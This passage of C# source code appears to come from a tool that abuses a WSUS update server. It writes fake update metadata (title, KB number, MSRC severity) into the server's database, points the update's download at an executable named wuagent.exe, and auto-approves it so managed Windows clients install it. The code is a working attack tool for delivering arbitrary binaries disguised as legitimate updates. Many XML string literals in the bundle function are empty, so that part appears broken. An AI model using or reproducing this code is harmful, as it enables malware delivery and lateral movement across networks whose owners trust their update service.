/><Properties UpdateType=""Software"" ExplicitlyDeployable=""true"" AutoSelectOnWebSites=""true"" /><Relationships><Prerequisites><AtLeastOne IsCategory=""true""><UpdateIdentity UpdateID=""0fa1201d-4330-4fa8-8ae9-b877473b6441"" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID=""" + ClGuid.gUpdate + @""" RevisionNumber=""202"" /></BundledUpdates></Relationships>',NULL"); 104 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,4,N'<LocalizedProperties><Language>en</Language><Title>" + Create.UpdateTitle + @"</Title><Description>" + Create.UpdateDescription + @"</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl>" + Create.UpdateURL + @"</MoreInfoUrl><SupportUrl>" + Create.UpdateURL + @"</SupportUrl></LocalizedProperties>', NULL, 'en'"); 105 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" MsrcSeverity=""" + Create.UpdateRating + @""" IsBeta=""false""><SupportUrl>" + Create.UpdateURL + @"</SupportUrl><SecurityBulletinID>" + Create.UpdateMSRC + @"</SecurityBulletinID><KBArticleID>" + Create.UpdateKB + @"</KBArticleID></ExtendedProperties>',NULL"); 106 | sqlCommFun.CommandText = sbXMLBundle.ToString(); 107 | try 108 | { 109 | Console.WriteLine("PrepareXMLBundletoClient"); 110 | sqldrReader = sqlCommFun.ExecuteReader(); 111 | sqldrReader.Close(); 112 | return true; 113 | } 114 | catch (Exception e) 115 | { 116 | Console.WriteLine("\r\nFunction error - FbPrepareXmlBundleToClient."); 117 | 118 | Console.WriteLine($"Error Message: {e.Message}"); 119 | return false; 120 | } 121 | } 122 | public static bool FbInjectUrl2Download(SqlCommand sqlCommFun) 123 | { 124 | SqlDataReader sqldrReader; 125 | StringBuilder sbDownloadURL = new StringBuilder(); 126 | string sDownloadURLexec = string.Empty; 127 | if (Server.bSSL == true) 128 | { 129 | sDownloadURLexec = @"https://" + Server.sComputerName + ":" + Server.iPortNumber + "/Content/wuagent.exe"; 130 | } 131 | else if (Server.bSSL == false) 132 | { 133 | sDownloadURLexec = @"http://" + Server.sComputerName + ":" + Server.iPortNumber + "/Content/wuagent.exe"; 134 | } 135 | else 136 | { 137 | return false; 138 | } 139 | 140 | sbDownloadURL.AppendLine(@"exec spSetBatchURL @urlBatch =N''"); 141 | sqlCommFun.CommandText = sbDownloadURL.ToString(); 142 | try 143 | { 144 | Console.WriteLine("InjectURL2Download"); 145 | sqldrReader = sqlCommFun.ExecuteReader(); 146 | sqldrReader.Close(); 147 | return true; 148 | } 149 | catch (Exception e) 150 | { 151 | Console.WriteLine("\r\nFunction error - FbInjectUrl2Download."); 152 | 153 | Console.WriteLine($"Error Message: {e.Message}"); 154 | return false; 155 | } 156 | } 157 | public static bool FbDeploymentRevision(SqlCommand sqlCommFun) 158 | { 159 | SqlDataReader sqldrReader; 160 | StringBuilder sbDeployRev = new StringBuilder(); 161 | sbDeployRev.AppendLine(@"exec spDeploymentAutomation @revisionID = " + Create.iRevisionID); 162 | sqlCommFun.CommandText = sbDeployRev.ToString(); 163 | try 164 | { 165 | Console.WriteLine("DeploymentRevision"); 166 | sqldrReader = sqlCommFun.ExecuteReader(); 167 | sqldrReader.Close(); 168 | return true; 169 | } 170 | catch (Exception e) 171 | { 172 | Console.WriteLine("\r\nFunction error - FbDeploymentRevision."); 173 | 174 | Console.WriteLine($"Error Message: {e.Message}"); 175 | return false; 176 | } 177 | } 178 | public static bool FbPrepareBundle(SqlCommand sqlCommFun) 179 | { 180 | SqlDataReader sqldrReader; 181 | StringBuilder sbPrepareBund = new StringBuilder(); 182 | System.Data.DataTable dtDataTbl = new System.Data.DataTable(); 183 | 184 | sbPrepareBund.AppendLine(@"declare @iImported int"); 185 | sbPrepareBund.AppendLine(@"declare @iLocalRevisionID int"); 186 | sbPrepareBund.AppendLine(@"exec spImportUpdate @UpdateXml=N'"); 187 | sbPrepareBund.AppendLine(@""); 188 | sbPrepareBund.AppendLine("\t" + @""); 189 | sbPrepareBund.AppendLine("\t" + @""); 190 | sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateURL + @""); 191 | sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateMSRC + @""); 192 | sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateKB + @""); 193 | sbPrepareBund.AppendLine("\t" + @""); 194 | sbPrepareBund.AppendLine("\t" + @""); 195 | sbPrepareBund.AppendLine("\t\t" + @""); 196 | sbPrepareBund.AppendLine("\t\t\t" + @"en"); 197 | sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateTitle + @""); 198 | sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateDescription + ""); 199 | sbPrepareBund.AppendLine("\t\t\t" + @"This software update can be removed by selecting View installed updates in the Programs and Features Control Panel."); 200 | sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateURL + @""); 201 | sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateURL + @""); 202 | sbPrepareBund.AppendLine("\t\t" + @""); 203 | sbPrepareBund.AppendLine("\t" + @""); 204 | sbPrepareBund.AppendLine("\t" + @""); 205 | sbPrepareBund.AppendLine("\t\t" + @""); 206 | sbPrepareBund.AppendLine("\t\t\t" + @""); 207 | sbPrepareBund.AppendLine("\t\t\t\t" + @""); 208 | sbPrepareBund.AppendLine("\t\t\t" + @""); 209 | sbPrepareBund.AppendLine("\t\t" + @""); 210 | sbPrepareBund.AppendLine("\t\t" + @""); 211 | sbPrepareBund.AppendLine("\t\t\t" + @""); 212 | sbPrepareBund.AppendLine("\t\t" + @""); 213 | sbPrepareBund.AppendLine("\t" + @""); 214 | sbPrepareBund.AppendLine(@"',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL"); 215 | sbPrepareBund.AppendLine(@"select @iImported, @iLocalRevisionID"); 216 | sqlCommFun.CommandText = sbPrepareBund.ToString(); 217 | 218 | try 219 | { 220 | sqldrReader = sqlCommFun.ExecuteReader(); 221 | dtDataTbl.Load(sqldrReader); 222 | Create.iRevisionID = (int)dtDataTbl.Rows[0][1]; 223 | 224 | Console.WriteLine("PrepareBundle"); 225 | Console.WriteLine("PrepareBundle Revision ID: {0}", Create.iRevisionID); 226 | 227 | if (Create.iRevisionID == 0) 228 | { 229 | Console.WriteLine("Error creating update bundle"); 230 | sqldrReader.Close(); 231 | return false; 232 | } 233 | 234 | sqldrReader.Close(); 235 | return true; 236 | } 237 | catch (Exception e) 238 | { 239 | Console.WriteLine("\r\nFunction error - FbPrepareBundle."); 240 | 241 | Console.WriteLine($"Error Message: {e.Message}"); 242 | return false; 243 | } 244 | } 245 | } 246 | --------------------------------------------------------------------------------